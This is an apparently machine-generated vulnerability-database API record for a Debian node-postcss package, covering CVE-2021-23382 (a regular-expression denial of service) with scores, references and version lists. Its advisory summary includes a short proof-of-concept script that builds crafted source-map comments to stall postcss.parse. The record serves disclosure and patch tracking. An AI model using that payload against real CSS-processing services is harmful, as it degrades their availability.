Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/932523?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/932523?format=api", "purl": "pkg:deb/debian/node-postcss@8.2.1%2B~cs5.3.23-7?distro=trixie", "type": "deb", "namespace": "debian", "name": "node-postcss", "version": "8.2.1+~cs5.3.23-7", "qualifiers": { "distro": "trixie" }, "subpath": "", "is_vulnerable": false, "next_non_vulnerable_version": "8.2.1+~cs5.3.23-8+deb11u1", "latest_non_vulnerable_version": "8.5.12+~cs9.3.32-1", "affected_by_vulnerabilities": [], "fixing_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/52529?format=api", "vulnerability_id": "VCID-scy5-ccf9-dygp", "summary": "Regular Expression Denial of Service in postcss\nThe package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n var ret = \"a{}\"\n for (var i = 0; i < n; i++) {\n ret += \"/*# sourceMappingURL=\"\n }\n return ret + \"!\";\n}\n```\n```js\npostcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {\n if (i % 1000 == 0) {\n var time = Date.now();\n var attack_str = build_attack(i) try {\n postcss.parse(attack_str) var time_cost = Date.now() - time;\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n } catch (e) {\n var time_cost = Date.now() - time;\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n }\n }\n}\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-23382.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-23382.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2021-23382", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21465", "published_at": "2026-04-29T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.2161", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21686", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21743", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21754", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21714", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21658", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21656", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21663", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21631", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21483", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21477", "published_at": "2026-04-26T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21632", "published_at": "2026-04-01T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21803", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00071", "scoring_system": "epss", "scoring_elements": "0.21856", "published_at": "2026-04-04T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2021-23382" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23382", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23382" }, { "reference_url": "https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956" }, { "reference_url": "https://github.com/postcss/postcss/releases/tag/7.0.36", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/postcss/postcss/releases/tag/7.0.36" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23382", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23382" }, { "reference_url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641" }, { "reference_url": "https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=1954150", "reference_id": "1954150", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1954150" }, { "reference_url": "https://github.com/advisories/GHSA-566m-qj78-rww5", "reference_id": "GHSA-566m-qj78-rww5", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-566m-qj78-rww5" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2021:2438", "reference_id": "RHSA-2021:2438", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2021:2438" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2021:3917", "reference_id": "RHSA-2021:3917", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2021:3917" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/932523?format=api", "purl": "pkg:deb/debian/node-postcss@8.2.1%2B~cs5.3.23-7?distro=trixie", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-postcss@8.2.1%252B~cs5.3.23-7%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/932520?format=api", "purl": "pkg:deb/debian/node-postcss@8.2.1%2B~cs5.3.23-8?distro=trixie", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-mtj5-ftn7-jye6" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-postcss@8.2.1%252B~cs5.3.23-8%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/932518?format=api", "purl": "pkg:deb/debian/node-postcss@8.4.20%2B~cs8.0.23-1%2Bdeb12u1?distro=trixie", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-mtj5-ftn7-jye6" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-postcss@8.4.20%252B~cs8.0.23-1%252Bdeb12u1%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/932522?format=api", "purl": "pkg:deb/debian/node-postcss@8.4.49%2B~cs9.2.32-1?distro=trixie", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-mtj5-ftn7-jye6" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-postcss@8.4.49%252B~cs9.2.32-1%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/932521?format=api", "purl": "pkg:deb/debian/node-postcss@8.5.8%2B~cs9.3.30-1?distro=trixie", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-postcss@8.5.8%252B~cs9.3.30-1%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/1062509?format=api", "purl": "pkg:deb/debian/node-postcss@8.5.9%2B~cs9.3.30-1?distro=trixie", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-mtj5-ftn7-jye6" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-postcss@8.5.9%252B~cs9.3.30-1%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/1081549?format=api", "purl": "pkg:deb/debian/node-postcss@8.5.12%2B~cs9.3.32-1?distro=trixie", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-postcss@8.5.12%252B~cs9.3.32-1%3Fdistro=trixie" } ], "aliases": [ "CVE-2021-23382", "GHSA-566m-qj78-rww5" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-scy5-ccf9-dygp" } ], "risk_score": null, "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-postcss@8.2.1%252B~cs5.3.23-7%3Fdistro=trixie" }